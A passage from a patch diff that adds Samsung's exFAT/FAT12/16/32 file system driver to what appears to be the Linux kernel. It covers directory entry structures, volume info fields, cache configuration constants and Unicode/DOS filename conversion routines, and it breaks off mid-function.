bytes) */ +typedef struct { + u8 type; + u8 flags; + u8 reserved[18]; + u8 start_clu[4]; + u8 size[8]; +} BMAP_DENTRY_T; + +/* MS-DOS EXFAT up-case table directory entry (32 bytes) */ +typedef struct { + u8 type; + u8 reserved1[3]; + u8 checksum[4]; + u8 reserved2[12]; + u8 start_clu[4]; + u8 size[8]; +} CASE_DENTRY_T; + +/* MS-DOS EXFAT volume label directory entry (32 bytes) */ +typedef struct { + u8 type; + u8 label_len; + u8 unicode_0_10[22]; + u8 reserved[8]; +} VOLM_DENTRY_T; + +/* unused entry hint information */ +typedef struct { + u32 dir; + s32 entry; + CHAIN_T clu; +} UENTRY_T; + +typedef struct { + s32 (*alloc_cluster)(struct super_block *sb, s32 num_alloc, CHAIN_T *p_chain); + void (*free_cluster)(struct super_block *sb, CHAIN_T *p_chain, s32 do_relse); + s32 (*count_used_clusters)(struct super_block *sb); + + s32 (*init_dir_entry)(struct super_block *sb, CHAIN_T *p_dir, s32 entry, u32 type, + u32 start_clu, u64 size); + s32 (*init_ext_entry)(struct super_block *sb, CHAIN_T *p_dir, s32 entry, s32 num_entries, + UNI_NAME_T *p_uniname, DOS_NAME_T *p_dosname); + s32 (*find_dir_entry)(struct super_block *sb, CHAIN_T *p_dir, UNI_NAME_T *p_uniname, s32 num_entries, DOS_NAME_T *p_dosname, u32 type); + void (*delete_dir_entry)(struct super_block *sb, CHAIN_T *p_dir, s32 entry, s32 offset, s32 num_entries); + void (*get_uni_name_from_ext_entry)(struct super_block *sb, CHAIN_T *p_dir, s32 entry, u16 *uniname); + s32 (*count_ext_entries)(struct super_block *sb, CHAIN_T *p_dir, s32 entry, DENTRY_T *p_entry); + s32 (*calc_num_entries)(UNI_NAME_T *p_uniname); + + u32 (*get_entry_type)(DENTRY_T *p_entry); + void (*set_entry_type)(DENTRY_T *p_entry, u32 type); + u32 (*get_entry_attr)(DENTRY_T *p_entry); + void (*set_entry_attr)(DENTRY_T *p_entry, u32 attr); + u8 (*get_entry_flag)(DENTRY_T *p_entry); + void (*set_entry_flag)(DENTRY_T *p_entry, u8 flag); + u32 (*get_entry_clu0)(DENTRY_T *p_entry); + void (*set_entry_clu0)(DENTRY_T *p_entry, u32 clu0); + u64 (*get_entry_size)(DENTRY_T *p_entry); + void (*set_entry_size)(DENTRY_T *p_entry, u64 size); + void (*get_entry_time)(DENTRY_T *p_entry, TIMESTAMP_T *tp, u8 mode); + void (*set_entry_time)(DENTRY_T *p_entry, TIMESTAMP_T *tp, u8 mode); +} FS_FUNC_T; + +typedef struct __FS_INFO_T { + u32 drv; /* drive ID */ + u32 vol_type; /* volume FAT type */ + u32 vol_id; /* volume serial number */ + + u32 num_sectors; /* num of sectors in volume */ + u32 num_clusters; /* num of clusters in volume */ + u32 cluster_size; /* cluster size in bytes */ + u32 cluster_size_bits; + u32 sectors_per_clu; /* cluster size in sectors */ + u32 sectors_per_clu_bits; + + u32 PBR_sector; /* PBR sector */ + u32 FAT1_start_sector; /* FAT1 start sector */ + u32 FAT2_start_sector; /* FAT2 start sector */ + u32 root_start_sector; /* root dir start sector */ + u32 data_start_sector; /* data area start sector */ + u32 num_FAT_sectors; /* num of FAT sectors */ + + u32 root_dir; /* root dir cluster */ + u32 dentries_in_root; /* num of dentries in root dir */ + u32 dentries_per_clu; /* num of dentries per cluster */ + + u32 vol_flag; /* volume dirty flag */ + struct buffer_head *pbr_bh; /* PBR sector */ + + u32 map_clu; /* allocation bitmap start cluster */ + u32 map_sectors; /* num of allocation bitmap sectors */ + struct buffer_head **vol_amap; /* allocation bitmap */ + + u16 **vol_utbl; /* upcase table */ + + u32 clu_srch_ptr; /* cluster search pointer */ + u32 used_clusters; /* number of used clusters */ + UENTRY_T hint_uentry; /* unused entry hint information */ + + u32 dev_ejected; /* block device operation error flag */ + + FS_FUNC_T *fs_func; + struct semaphore v_sem; + + /* FAT cache */ + BUF_CACHE_T FAT_cache_array[FAT_CACHE_SIZE]; + BUF_CACHE_T FAT_cache_lru_list; + BUF_CACHE_T FAT_cache_hash_list[FAT_CACHE_HASH_SIZE]; + + /* buf cache */ + BUF_CACHE_T buf_cache_array[BUF_CACHE_SIZE]; + BUF_CACHE_T buf_cache_lru_list; + BUF_CACHE_T buf_cache_hash_list[BUF_CACHE_HASH_SIZE]; +} FS_INFO_T; + +#define ES_2_ENTRIES 2 +#define ES_3_ENTRIES 3 +#define ES_ALL_ENTRIES 0 + +typedef struct { + u32 sector; /* sector number that contains file_entry */ + s32 offset; /* byte offset in the sector */ + s32 alloc_flag; /* flag in stream entry. 01 for cluster chain, 03 for contig. clusteres. */ + u32 num_entries; + + /* __buf should be the last member */ + void *__buf; +} ENTRY_SET_CACHE_T; + +/*----------------------------------------------------------------------*/ +/* External Function Declarations */ +/*----------------------------------------------------------------------*/ + +/* file system initialization & shutdown functions */ +s32 ffsInit(void); +s32 ffsShutdown(void); + +/* volume management functions */ +s32 ffsMountVol(struct super_block *sb); +s32 ffsUmountVol(struct super_block *sb); +s32 ffsCheckVol(struct super_block *sb); +s32 ffsGetVolInfo(struct super_block *sb, VOL_INFO_T *info); +s32 ffsSyncVol(struct super_block *sb, s32 do_sync); + +/* file management functions */ +s32 ffsLookupFile(struct inode *inode, char *path, FILE_ID_T *fid); +s32 ffsCreateFile(struct inode *inode, char *path, u8 mode, FILE_ID_T *fid); +s32 ffsReadFile(struct inode *inode, FILE_ID_T *fid, void *buffer, u64 count, u64 *rcount); +s32 ffsWriteFile(struct inode *inode, FILE_ID_T *fid, void *buffer, u64 count, u64 *wcount); +s32 ffsTruncateFile(struct inode *inode, u64 old_size, u64 new_size); +s32 ffsMoveFile(struct inode *old_parent_inode, FILE_ID_T *fid, struct inode *new_parent_inode, struct dentry *new_dentry); +s32 ffsRemoveFile(struct inode *inode, FILE_ID_T *fid); +s32 ffsSetAttr(struct inode *inode, u32 attr); +s32 ffsGetStat(struct inode *inode, DIR_ENTRY_T *info); +s32 ffsSetStat(struct inode *inode, DIR_ENTRY_T *info); +s32 ffsMapCluster(struct inode *inode, s32 clu_offset, u32 *clu); + +/* directory management functions */ +s32 ffsCreateDir(struct inode *inode, char *path, FILE_ID_T *fid); +s32 ffsReadDir(struct inode *inode, DIR_ENTRY_T *dir_ent); +s32 ffsRemoveDir(struct inode *inode, FILE_ID_T *fid); + +/*----------------------------------------------------------------------*/ +/* External Function Declarations (NOT TO UPPER LAYER) */ +/*----------------------------------------------------------------------*/ + +/* fs management functions */ +s32 fs_init(void); +s32 fs_shutdown(void); +void fs_set_vol_flags(struct super_block *sb, u32 new_flag); +void fs_sync(struct super_block *sb, s32 do_sync); +void fs_error(struct super_block *sb); + +/* cluster management functions */ +s32 clear_cluster(struct super_block *sb, u32 clu); +s32 fat_alloc_cluster(struct super_block *sb, s32 num_alloc, CHAIN_T *p_chain); +s32 exfat_alloc_cluster(struct super_block *sb, s32 num_alloc, CHAIN_T *p_chain); +void fat_free_cluster(struct super_block *sb, CHAIN_T *p_chain, s32 do_relse); +void exfat_free_cluster(struct super_block *sb, CHAIN_T *p_chain, s32 do_relse); +u32 find_last_cluster(struct super_block *sb, CHAIN_T *p_chain); +s32 count_num_clusters(struct super_block *sb, CHAIN_T *dir); +s32 fat_count_used_clusters(struct super_block *sb); +s32 exfat_count_used_clusters(struct super_block *sb); +void exfat_chain_cont_cluster(struct super_block *sb, u32 chain, s32 len); + +/* allocation bitmap management functions */ +s32 load_alloc_bitmap(struct super_block *sb); +void free_alloc_bitmap(struct super_block *sb); +s32 set_alloc_bitmap(struct super_block *sb, u32 clu); +s32 clr_alloc_bitmap(struct super_block *sb, u32 clu); +u32 test_alloc_bitmap(struct super_block *sb, u32 clu); +void sync_alloc_bitmap(struct super_block *sb); + +/* upcase table management functions */ +s32 load_upcase_table(struct super_block *sb); +void free_upcase_table(struct super_block *sb); + +/* dir entry management functions */ +u32 fat_get_entry_type(DENTRY_T *p_entry); +u32 exfat_get_entry_type(DENTRY_T *p_entry); +void fat_set_entry_type(DENTRY_T *p_entry, u32 type); +void exfat_set_entry_type(DENTRY_T *p_entry, u32 type); +u32 fat_get_entry_attr(DENTRY_T *p_entry); +u32 exfat_get_entry_attr(DENTRY_T *p_entry); +void fat_set_entry_attr(DENTRY_T *p_entry, u32 attr); +void exfat_set_entry_attr(DENTRY_T *p_entry, u32 attr); +u8 fat_get_entry_flag(DENTRY_T *p_entry); +u8 exfat_get_entry_flag(DENTRY_T *p_entry); +void fat_set_entry_flag(DENTRY_T *p_entry, u8 flag); +void exfat_set_entry_flag(DENTRY_T *p_entry, u8 flag); +u32 fat_get_entry_clu0(DENTRY_T *p_entry); +u32 exfat_get_entry_clu0(DENTRY_T *p_entry); +void fat_set_entry_clu0(DENTRY_T *p_entry, u32 start_clu); +void exfat_set_entry_clu0(DENTRY_T *p_entry, u32 start_clu); +u64 fat_get_entry_size(DENTRY_T *p_entry); +u64 exfat_get_entry_size(DENTRY_T *p_entry); +void fat_set_entry_size(DENTRY_T *p_entry, u64 size); +void exfat_set_entry_size(DENTRY_T *p_entry, u64 size); +void fat_get_entry_time(DENTRY_T *p_entry, TIMESTAMP_T *tp, u8 mode); +void exfat_get_entry_time(DENTRY_T *p_entry, TIMESTAMP_T *tp, u8 mode); +void fat_set_entry_time(DENTRY_T *p_entry, TIMESTAMP_T *tp, u8 mode); +void exfat_set_entry_time(DENTRY_T *p_entry, TIMESTAMP_T *tp, u8 mode); +s32 fat_init_dir_entry(struct super_block *sb, CHAIN_T *p_dir, s32 entry, u32 type, u32 start_clu, u64 size); +s32 exfat_init_dir_entry(struct super_block *sb, CHAIN_T *p_dir, s32 entry, u32 type, u32 start_clu, u64 size); +s32 fat_init_ext_dir_entry(struct super_block *sb, CHAIN_T *p_dir, s32 entry, s32 num_entries, UNI_NAME_T *p_uniname, DOS_NAME_T *p_dosname); +s32 exfat_init_ext_dir_entry(struct super_block *sb, CHAIN_T *p_dir, s32 entry, s32 num_entries, UNI_NAME_T *p_uniname, DOS_NAME_T *p_dosname); +void init_dos_entry(DOS_DENTRY_T *ep, u32 type, u32 start_clu); +void init_ext_entry(EXT_DENTRY_T *ep, s32 order, u8 chksum, u16 *uniname); +void init_file_entry(FILE_DENTRY_T *ep, u32 type); +void init_strm_entry(STRM_DENTRY_T *ep, u8 flags, u32 start_clu, u64 size); +void init_name_entry(NAME_DENTRY_T *ep, u16 *uniname); +void fat_delete_dir_entry(struct super_block *sb, CHAIN_T *p_dir, s32 entry, s32 order, s32 num_entries); +void exfat_delete_dir_entry(struct super_block *sb, CHAIN_T *p_dir, s32 entry, s32 order, s32 num_entries); + +s32 find_location(struct super_block *sb, CHAIN_T *p_dir, s32 entry, u32 *sector, s32 *offset); +DENTRY_T *get_entry_with_sector(struct super_block *sb, u32 sector, s32 offset); +DENTRY_T *get_entry_in_dir(struct super_block *sb, CHAIN_T *p_dir, s32 entry, u32 *sector); +ENTRY_SET_CACHE_T *get_entry_set_in_dir(struct super_block *sb, CHAIN_T *p_dir, s32 entry, u32 type, DENTRY_T **file_ep); +void release_entry_set(ENTRY_SET_CACHE_T *es); +s32 write_whole_entry_set(struct super_block *sb, ENTRY_SET_CACHE_T *es); +s32 write_partial_entries_in_entry_set(struct super_block *sb, ENTRY_SET_CACHE_T *es, DENTRY_T *ep, u32 count); +s32 search_deleted_or_unused_entry(struct super_block *sb, CHAIN_T *p_dir, s32 num_entries); +s32 find_empty_entry(struct inode *inode, CHAIN_T *p_dir, s32 num_entries); +s32 fat_find_dir_entry(struct super_block *sb, CHAIN_T *p_dir, UNI_NAME_T *p_uniname, s32 num_entries, DOS_NAME_T *p_dosname, u32 type); +s32 exfat_find_dir_entry(struct super_block *sb, CHAIN_T *p_dir, UNI_NAME_T *p_uniname, s32 num_entries, DOS_NAME_T *p_dosname, u32 type); +s32 fat_count_ext_entries(struct super_block *sb, CHAIN_T *p_dir, s32 entry, DENTRY_T *p_entry); +s32 exfat_count_ext_entries(struct super_block *sb, CHAIN_T *p_dir, s32 entry, DENTRY_T *p_entry); +s32 count_dos_name_entries(struct super_block *sb, CHAIN_T *p_dir, u32 type); +void update_dir_checksum(struct super_block *sb, CHAIN_T *p_dir, s32 entry); +void update_dir_checksum_with_entry_set(struct super_block *sb, ENTRY_SET_CACHE_T *es); +bool is_dir_empty(struct super_block *sb, CHAIN_T *p_dir); + +/* name conversion functions */ +s32 get_num_entries_and_dos_name(struct super_block *sb, CHAIN_T *p_dir, UNI_NAME_T *p_uniname, s32 *entries, DOS_NAME_T *p_dosname); +void get_uni_name_from_dos_entry(struct super_block *sb, DOS_DENTRY_T *ep, UNI_NAME_T *p_uniname, u8 mode); +void fat_get_uni_name_from_ext_entry(struct super_block *sb, CHAIN_T *p_dir, s32 entry, u16 *uniname); +void exfat_get_uni_name_from_ext_entry(struct super_block *sb, CHAIN_T *p_dir, s32 entry, u16 *uniname); +s32 extract_uni_name_from_ext_entry(EXT_DENTRY_T *ep, u16 *uniname, s32 order); +s32 extract_uni_name_from_name_entry(NAME_DENTRY_T *ep, u16 *uniname, s32 order); +s32 fat_generate_dos_name(struct super_block *sb, CHAIN_T *p_dir, DOS_NAME_T *p_dosname); +void fat_attach_count_to_dos_name(u8 *dosname, s32 count); +s32 fat_calc_num_entries(UNI_NAME_T *p_uniname); +s32 exfat_calc_num_entries(UNI_NAME_T *p_uniname); +u8 calc_checksum_1byte(void *data, s32 len, u8 chksum); +u16 calc_checksum_2byte(void *data, s32 len, u16 chksum, s32 type); +u32 calc_checksum_4byte(void *data, s32 len, u32 chksum, s32 type); + +/* name resolution functions */ +s32 resolve_path(struct inode *inode, char *path, CHAIN_T *p_dir, UNI_NAME_T *p_uniname); +s32 resolve_name(u8 *name, u8 **arg); + +/* file operation functions */ +s32 fat16_mount(struct super_block *sb, PBR_SECTOR_T *p_pbr); +s32 fat32_mount(struct super_block *sb, PBR_SECTOR_T *p_pbr); +s32 exfat_mount(struct super_block *sb, PBR_SECTOR_T *p_pbr); +s32 create_dir(struct inode *inode, CHAIN_T *p_dir, UNI_NAME_T *p_uniname, FILE_ID_T *fid); +s32 create_file(struct inode *inode, CHAIN_T *p_dir, UNI_NAME_T *p_uniname, u8 mode, FILE_ID_T *fid); +void remove_file(struct inode *inode, CHAIN_T *p_dir, s32 entry); +s32 rename_file(struct inode *inode, CHAIN_T *p_dir, s32 old_entry, UNI_NAME_T *p_uniname, FILE_ID_T *fid); +s32 move_file(struct inode *inode, CHAIN_T *p_olddir, s32 oldentry, CHAIN_T *p_newdir, UNI_NAME_T *p_uniname, FILE_ID_T *fid); + +/* sector read/write functions */ +s32 sector_read(struct super_block *sb, u32 sec, struct buffer_head **bh, s32 read); +s32 sector_write(struct super_block *sb, u32 sec, struct buffer_head *bh, s32 sync); +s32 multi_sector_read(struct super_block *sb, u32 sec, struct buffer_head **bh, s32 num_secs, s32 read); +s32 multi_sector_write(struct super_block *sb, u32 sec, struct buffer_head *bh, s32 num_secs, s32 sync); + +#endif /* _EXFAT_H */ diff --git a/fs/exfat/exfat_data.c b/fs/exfat/exfat_data.c new file mode 100644 index 0000000000000..65da07aff547a --- /dev/null +++ b/fs/exfat/exfat_data.c @@ -0,0 +1,77 @@ +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_data.c */ +/* PURPOSE : exFAT Configuable Data Definitions */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Joosun Hahn] : first writing */ +/* */ +/************************************************************************/ + +#include "exfat_config.h" +#include "exfat_data.h" +#include "exfat_oal.h" + +#include "exfat_blkdev.h" +#include "exfat_cache.h" +#include "exfat_nls.h" +#include "exfat_super.h" +#include "exfat_core.h" + +/*======================================================================*/ +/* */ +/* GLOBAL VARIABLE DEFINITIONS */ +/* */ +/*======================================================================*/ + +/*----------------------------------------------------------------------*/ +/* File Manager */ +/*----------------------------------------------------------------------*/ + +/*----------------------------------------------------------------------*/ +/* Buffer Manager */ +/*----------------------------------------------------------------------*/ + +/* FAT cache */ +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,36) +DECLARE_MUTEX(f_sem); +#else +DEFINE_SEMAPHORE(f_sem); +#endif +BUF_CACHE_T FAT_cache_array[FAT_CACHE_SIZE]; +BUF_CACHE_T FAT_cache_lru_list; +BUF_CACHE_T FAT_cache_hash_list[FAT_CACHE_HASH_SIZE]; + +/* buf cache */ +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,36) +DECLARE_MUTEX(b_sem); +#else +DEFINE_SEMAPHORE(b_sem); +#endif +BUF_CACHE_T buf_cache_array[BUF_CACHE_SIZE]; +BUF_CACHE_T buf_cache_lru_list; +BUF_CACHE_T buf_cache_hash_list[BUF_CACHE_HASH_SIZE]; diff --git a/fs/exfat/exfat_data.h b/fs/exfat/exfat_data.h new file mode 100644 index 0000000000000..53b0e39397fa1 --- /dev/null +++ b/fs/exfat/exfat_data.h @@ -0,0 +1,58 @@ +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_data.h */ +/* PURPOSE : Header File for exFAT Configuable Constants */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Joosun Hahn] : first writing */ +/* */ +/************************************************************************/ + +#ifndef _EXFAT_DATA_H +#define _EXFAT_DATA_H + +#include "exfat_config.h" + +/*======================================================================*/ +/* */ +/* FFS CONFIGURATIONS */ +/* (CHANGE THIS PART IF REQUIRED) */ +/* */ +/*======================================================================*/ + +/* max number of root directory entries in FAT12/16 */ +/* (should be an exponential value of 2) */ +#define MAX_DENTRY 512 + +/* cache size (in number of sectors) */ +/* (should be an exponential value of 2) */ +#define FAT_CACHE_SIZE 128 +#define FAT_CACHE_HASH_SIZE 64 +#define BUF_CACHE_SIZE 256 +#define BUF_CACHE_HASH_SIZE 64 + +#endif /* _EXFAT_DATA_H */ diff --git a/fs/exfat/exfat_nls.c b/fs/exfat/exfat_nls.c new file mode 100644 index 0000000000000..a48b3d05a7c4b --- /dev/null +++ b/fs/exfat/exfat_nls.c @@ -0,0 +1,448 @@ +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_nls.c */ +/* PURPOSE : exFAT NLS Manager */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Joosun Hahn] : first writing */ +/* */ +/************************************************************************/ + +#include "exfat_config.h" +#include "exfat_data.h" + +#include "exfat_nls.h" +#include "exfat_api.h" +#include "exfat_super.h" +#include "exfat_core.h" + +#include + +/*----------------------------------------------------------------------*/ +/* Global Variable Definitions */ +/*----------------------------------------------------------------------*/ + +/*----------------------------------------------------------------------*/ +/* Local Variable Definitions */ +/*----------------------------------------------------------------------*/ + +static u16 bad_dos_chars[] = { + /* + , ; = [ ] */ + 0x002B, 0x002C, 0x003B, 0x003D, 0x005B, 0x005D, + 0xFF0B, 0xFF0C, 0xFF1B, 0xFF1D, 0xFF3B, 0xFF3D, + 0 +}; + +static u16 bad_uni_chars[] = { + /* " * / : < > ? \ | */ + 0x0022, 0x002A, 0x002F, 0x003A, + 0x003C, 0x003E, 0x003F, 0x005C, 0x007C, + 0 +}; + +/*----------------------------------------------------------------------*/ +/* Local Function Declarations */ +/*----------------------------------------------------------------------*/ + +static s32 convert_uni_to_ch(struct nls_table *nls, u8 *ch, u16 uni, s32 *lossy); +static s32 convert_ch_to_uni(struct nls_table *nls, u16 *uni, u8 *ch, s32 *lossy); + +/*======================================================================*/ +/* Global Function Definitions */ +/*======================================================================*/ + +u16 nls_upper(struct super_block *sb, u16 a) +{ + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + if (EXFAT_SB(sb)->options.casesensitive) + return a; + if (p_fs->vol_utbl != NULL && (p_fs->vol_utbl)[get_col_index(a)] != NULL) + return (p_fs->vol_utbl)[get_col_index(a)][get_row_index(a)]; + else + return a; +} + +u16 *nls_wstrchr(u16 *str, u16 wchar) +{ + while (*str) { + if (*(str++) == wchar) + return str; + } + + return 0; +} + +s32 nls_dosname_cmp(struct super_block *sb, u8 *a, u8 *b) +{ + return strncmp((void *) a, (void *) b, DOS_NAME_LENGTH); +} /* end of nls_dosname_cmp */ + +s32 nls_uniname_cmp(struct super_block *sb, u16 *a, u16 *b) +{ + int i; + + for (i = 0; i < MAX_NAME_LENGTH; i++, a++, b++) { + if (nls_upper(sb, *a) != nls_upper(sb, *b)) + return 1; + if (*a == 0x0) + return 0; + } + return 0; +} /* end of nls_uniname_cmp */ + +void nls_uniname_to_dosname(struct super_block *sb, DOS_NAME_T *p_dosname, UNI_NAME_T *p_uniname, s32 *p_lossy) +{ + int i, j, len, lossy = FALSE; + u8 buf[MAX_CHARSET_SIZE]; + u8 lower = 0, upper = 0; + u8 *dosname = p_dosname->name; + u16 *uniname = p_uniname->name; + u16 *p, *last_period; + struct nls_table *nls = EXFAT_SB(sb)->nls_disk; + + for (i = 0; i < DOS_NAME_LENGTH; i++) + *(dosname+i) = ' '; + + if (!nls_uniname_cmp(sb, uniname, (u16 *) UNI_CUR_DIR_NAME)) { + *(dosname) = '.'; + p_dosname->name_case = 0x0; + if (p_lossy != NULL) + *p_lossy = FALSE; + return; + } + + if (!nls_uniname_cmp(sb, uniname, (u16 *) UNI_PAR_DIR_NAME)) { + *(dosname) = '.'; + *(dosname+1) = '.'; + p_dosname->name_case = 0x0; + if (p_lossy != NULL) + *p_lossy = FALSE; + return; + } + + /* search for the last embedded period */ + last_period = NULL; + for (p = uniname; *p; p++) { + if (*p == (u16) '.') + last_period = p; + } + + i = 0; + while (i < DOS_NAME_LENGTH) { + if (i == 8) { + if (last_period == NULL) + break; + + if (uniname <= last_period) { + if (uniname < last_period) + lossy = TRUE; + uniname = last_period + 1; + } + } + + if (*uniname == (u16) '\0') { + break; + } else if (*uniname == (u16) ' ') { + lossy = TRUE; + } else if (*uniname == (u16) '.') { + if (uniname < last_period) + lossy = TRUE; + else + i = 8; + } else if (nls_wstrchr(bad_dos_chars, *uniname)) { + lossy = TRUE; + *(dosname+i) = '_'; + i++; + } else { + len = convert_uni_to_ch(nls, buf, *uniname, &lossy); + + if (len > 1) { + if ((i >= 8) && ((i+len) > DOS_NAME_LENGTH)) + break; + + if ((i < 8) && ((i+len) > 8)) { + i = 8; + continue; + } + + lower = 0xFF; + + for (j = 0; j < len; j++, i++) + *(dosname+i) = *(buf+j); + } else { /* len == 1 */ + if ((*buf >= 'a') && (*buf <= 'z')) { + *(dosname+i) = *buf - ('a' - 'A'); + + if (i < 8) + lower |= 0x08; + else + lower |= 0x10; + } else if ((*buf >= 'A') && (*buf <= 'Z')) { + *(dosname+i) = *buf; + + if (i < 8) + upper |= 0x08; + else + upper |= 0x10; + } else { + *(dosname+i) = *buf; + } + i++; + } + } + + uniname++; + } + + if (*dosname == 0xE5) + *dosname = 0x05; + + if (*uniname != 0x0) + lossy = TRUE; + + if (upper & lower) + p_dosname->name_case = 0xFF; + else + p_dosname->name_case = lower; + + if (p_lossy != NULL) + *p_lossy = lossy; +} /* end of nls_uniname_to_dosname */ + +void nls_dosname_to_uniname(struct super_block *sb, UNI_NAME_T *p_uniname, DOS_NAME_T *p_dosname) +{ + int i = 0, j, n = 0; + u8 buf[DOS_NAME_LENGTH+2]; + u8 *dosname = p_dosname->name; + u16 *uniname = p_uniname->name; + struct nls_table *nls = EXFAT_SB(sb)->nls_disk; + + if (*dosname == 0x05) { + *buf = 0xE5; + i++; + n++; + } + + for (; i < 8; i++, n++) { + if (*(dosname+i) == ' ') + break; + + if ((*(dosname+i) >= 'A') && (*(dosname+i) <= 'Z') && (p_dosname->name_case & 0x08)) + *(buf+n) = *(dosname+i) + ('a' - 'A'); + else + *(buf+n) = *(dosname+i); + } + if (*(dosname+8) != ' ') { + *(buf+n) = '.'; + n++; + } + + for (i = 8; i < DOS_NAME_LENGTH; i++, n++) { + if (*(dosname+i) == ' ') + break; + + if ((*(dosname+i) >= 'A') && (*(dosname+i) <= 'Z') && (p_dosname->name_case & 0x10)) + *(buf+n) = *(dosname+i) + ('a' - 'A'); + else + *(buf+n) = *(dosname+i); + } + *(buf+n) = '\0'; + + i = j = 0; + while (j < (MAX_NAME_LENGTH-1)) { + if (*(buf+i) == '\0') + break; + + i += convert_ch_to_uni(nls, uniname, (buf+i), NULL); + + uniname++; + j++; + } + + *uniname = (u16) '\0'; +} /* end of nls_dosname_to_uniname */ + +void nls_uniname_to_cstring(struct super_block *sb, u8 *p_cstring, UNI_NAME_T *p_uniname) +{ + int i, j, len; + u8 buf[MAX_CHARSET_SIZE]; + u16 *uniname = p_uniname->name; + struct nls_table *nls = EXFAT_SB(sb)->nls_io; + + if (nls == NULL) { + len = utf16s_to_utf8s(uniname, MAX_NAME_LENGTH, UTF16_HOST_ENDIAN, p_cstring, MAX_NAME_LENGTH); + p_cstring[len] = 0; + return; + } + + i = 0; + while (i < (MAX_NAME_LENGTH-1)) { + if (*uniname == (u16) '\0') + break; + + len = convert_uni_to_ch(nls, buf, *uniname, NULL); + + if (len > 1) { + for (j = 0; j < len; j++) + *p_cstring++ = (char) *(buf+j); + } else { /* len == 1 */ + *p_cstring++ = (char) *buf; + } + + uniname++; + i++; + } + + *p_cstring = '\0'; +} /* end of nls_uniname_to_cstring */ + +void nls_cstring_to_uniname(struct super_block *sb, UNI_NAME_T *p_uniname, u8 *p_cstring, s32 *p_lossy) +{ + int i, j, lossy = FALSE; + u8 *end_of_name; + u8 upname[MAX_NAME_LENGTH * 2]; + u16 *uniname = p_uniname->name; + struct nls_table *nls = EXFAT_SB(sb)->nls_io; + + + /* strip all trailing spaces */ + end_of_name = p_cstring + strlen((char *) p_cstring); + + while (*(--end_of_name) == ' ') { + if (end_of_name < p_cstring) + break; + } + *(++end_of_name) = '\0'; + + if (strcmp((char *) p_cstring, ".") && strcmp((char *) p_cstring, "..")) { + + /* strip all trailing periods */ + while (*(--end_of_name) == '.') { + if (end_of_name < p_cstring) + break; + } + *(++end_of_name) = '\0'; + } + + if (*p_cstring == '\0') + lossy = TRUE; + + if (nls == NULL) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(3,0,101) + i = utf8s_to_utf16s(p_cstring, MAX_NAME_LENGTH, uniname); +#else + i = utf8s_to_utf16s(p_cstring, MAX_NAME_LENGTH, UTF16_HOST_ENDIAN, uniname, MAX_NAME_LENGTH); +#endif + for (j = 0; j < i; j++) + SET16_A(upname + j * 2, nls_upper(sb, uniname[j])); + uniname[i] = '\0'; + } + else { + i = j = 0; + while (j < (MAX_NAME_LENGTH-1)) { + if (*(p_cstring+i) == '\0') + break; + + i += convert_ch_to_uni(nls, uniname, (u8 *)(p_cstring+i), &lossy); + + if ((*uniname < 0x0020) || nls_wstrchr(bad_uni_chars, *uniname)) + lossy = TRUE; + + SET16_A(upname + j * 2, nls_upper(sb, *uniname)); + + uniname++; + j++; + } + + if (*(p_cstring+i) != '\0') + lossy = TRUE; + *uniname = (u16) '\0'; + } + + p_uniname->name_len = j; + p_uniname->name_hash = calc_checksum_2byte((void *) upname, j<<1, 0, CS_DEFAULT); + + if (p_lossy != NULL) + *p_lossy = lossy; +} /* end of nls_cstring_to_uniname */ + +/*======================================================================*/ +/* Local Function Definitions */ +/*======================================================================*/ + +static s32 convert_ch_to_uni(struct nls_table *nls, u16 *uni, u8 *ch, s32 *lossy) +{ + int len; + + *uni = 0x0; + + if (ch[0] < 0x80) { + *uni = (u16) ch[0]; + return 1; + } + + len = nls->char2uni(ch, NLS_MAX_CHARSET_SIZE, uni); + if (len < 0) { + /* conversion failed */ + printk("%s: fail to use nls\n", __func__); + if 